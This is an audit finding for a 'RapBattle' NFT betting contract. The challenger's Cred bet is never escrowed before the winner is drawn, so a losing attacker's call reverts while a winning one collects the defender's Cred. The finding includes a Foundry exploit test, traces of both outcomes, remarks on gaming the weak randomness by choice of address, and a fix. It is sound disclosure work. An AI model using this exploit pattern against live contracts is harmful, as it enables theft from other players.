Summary
Attacker can fake the bet and never pay if he loses
Vulnerability Details
The function RapBattle::goOnStageOrBattle sets up the enviroment for the NFT RapBattle to happen. If the one calling is the attacker, it automatically calls RapBattle::_battle , which makes 2 NFTs battle and get a winner from it.
function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
_battle(_tokenId, _credBet);
}
}
function _battle(uint256 _tokenId, uint256 _credBet) internal {
address _defender = defender;
require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
uint256 defenderRapperSkill = getRapperSkill(defenderTokenId);
uint256 challengerRapperSkill = getRapperSkill(_tokenId);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 totalPrize = defenderBet + _credBet;
uint256 random = uint256(
keccak256(
abi.encodePacked(block.timestamp, block.prevrandao, msg.sender)
)
) % totalBattleSkill;
defender = address(0);
emit Battle(
msg.sender,
_tokenId,
random < defenderRapperSkill ? _defender : msg.sender
);
if (random <= defenderRapperSkill) {
credToken.transfer(_defender, defenderBet);
@> credToken.transferFrom(msg.sender, _defender, _credBet);
} else {
credToken.transfer(msg.sender, _credBet);
}
totalPrize = 0;
oneShotNft.transferFrom(address(this), _defender, defenderTokenId);
}
However, the function never checks if the attacker has the amount of Cred stated in _credBet before determining a winner!
Impact
The attacker can win RapBattles without risking Cred.
If attacker wins: Takes the Cred of the defender, without any check if attacker had enough Cred to make the bet in the first place.
If defender wins: The line
credToken.transferFrom(msg.sender, _defender, _credBet);
will revert because attacker did not have enough Cred to transfer to the defender and thus, reverting!
Tools Used
Foundry
Proof of Concept:
1: Defender bets 3 Cred, obtained stacking in the Streets.sol contract
2: Attacker mints an NFT and calls immediately RapBattle::goOnStageOrBattle with 3 Cred, even though it just minted the NFT
3: Because the function does not check if the attacker has the Cred given before the winner is drawn, 2 things can happen:
a) Defender wins -> the previous stated transferFrom is executed -> reverts with ERC20InsufficientBalance(here is the attacker address, 0, 3)]
b) Attacker wins -> The contract transfers the money from the defender to the attacker without further checks
Code
function testAttackerCanLieOnCredBet() public twoSkilledRappers {
address attacker = makeAddr("Exploiter");
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 3);
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
vm.startPrank(attacker);
oneShot.mintRapper();
oneShot.approve(address(rapBattle), 2);
cred.approve(address(rapBattle), 3);
rapBattle.goOnStageOrBattle(2, 3);
vm.stopPrank();
assert(cred.balanceOf(attacker) == 3);
}
Note: Because of the weak randomness (using block.timestamp, block.prevrandao and msg.sender) that the function has to determine winner, When I was testing using Exploiter as the input for makeAddr for the attacker, it always returns the defender as the winner, and when using sadfas it always returns attacker as the winner. However, it might not be the same for every computer where the test is executed. These are the 2 different outcomes of the test executed in my computer:
a) winner is the defender, named Alice (the attacker was named Exploiter)
├─ emit Battle(challenger: Exploiter: [0x44a81f73A67286F260e534721EC27aB4a63B6BEb], tokenId: 2, winner: Alice: [0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea])
│ ├─ [3244] Credibility::transfer(Alice: [0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea], 3)
│ │ ├─ emit Transfer(from: RapBattle: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], to: Alice: [0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea], value: 3)
│ │ └─ ← true
│ ├─ [3729] Credibility::transferFrom(Exploiter: [0x44a81f73A67286F260e534721EC27aB4a63B6BEb], Alice: [0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea], 3)
│ │ └─ ← ERC20InsufficientBalance(0x44a81f73A67286F260e534721EC27aB4a63B6BEb, 0, 3)
│ └─ ← ERC20InsufficientBalance(0x44a81f73A67286F260e534721EC27aB4a63B6BEb, 0, 3)
└─ ← ERC20InsufficientBalance(0x44a81f73A67286F260e534721EC27aB4a63B6BEb, 0, 3)
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 4.83ms
Ran 1 test suite in 4.83ms: 0 tests passed, 1 failed, 0 skipped (1 total tests)
Failing tests:
Encountered 1 failing test in test/OneShotTest.t.sol:RapBattleTest
[FAIL. Reason: ERC20InsufficientBalance(0x44a81f73A67286F260e534721EC27aB4a63B6BEb, 0, 3)] testAttackerCanLieOnCredBet() (gas: 849271)
b) winner is attacker, named sadfas:
emit Battle(challenger: sadfas: [0xFc78214445Db34C94655b8f2Fb036176aC0284F1], tokenId: 2, winner: sadfas: [0xFc78214445Db34C94655b8f2Fb036176aC0284F1])
│ ├─ [25144] Credibility::transfer(sadfas: [0xFc78214445Db34C94655b8f2Fb036176aC0284F1], 3)
│ │ ├─ emit Transfer(from: RapBattle: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], to: sadfas: [0xFc78214445Db34C94655b8f2Fb036176aC0284F1], value: 3)
│ │ └─ ← true
│ ├─ [24404] OneShot::transferFrom(RapBattle: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], Alice: [0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea], 0)
│ │ ├─ emit Transfer(from: RapBattle: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], to: Alice: [0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea], tokenId: 0)
│ │ └─ ← ()
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [629] Credibility::balanceOf(sadfas: [0xFc78214445Db34C94655b8f2Fb036176aC0284F1]) [staticcall]
│ └─ ← 3
└─ ← ()
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.23ms
Ran 1 test suite in 5.23ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Recommendations
Force attacker to deposit the Cred stated in _credBet before starting the call to RapBattle::_battle and change slightly the function to retrieve the rewards:
function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
+ credToken.transferFrom(msg.sender, address(this), _credBet);
_battle(_tokenId, _credBet);
}
}
function _battle(uint256 _tokenId, uint256 _credBet) internal {
.
.
.
// If random <= defenderRapperSkill -> defenderRapperSkill wins, otherwise they lose
if (random <= defenderRapperSkill) {
+ credToken.transfer(_defender, totalPrize);
- credToken.transfer(_defender, defenderBet);
- credToken.transferFrom(msg.sender, _defender, _credBet);
} else {
+ credToken.transfer(msg.sender, totalPrize);
- credToken.transfer(msg.sender, _credBet);
}
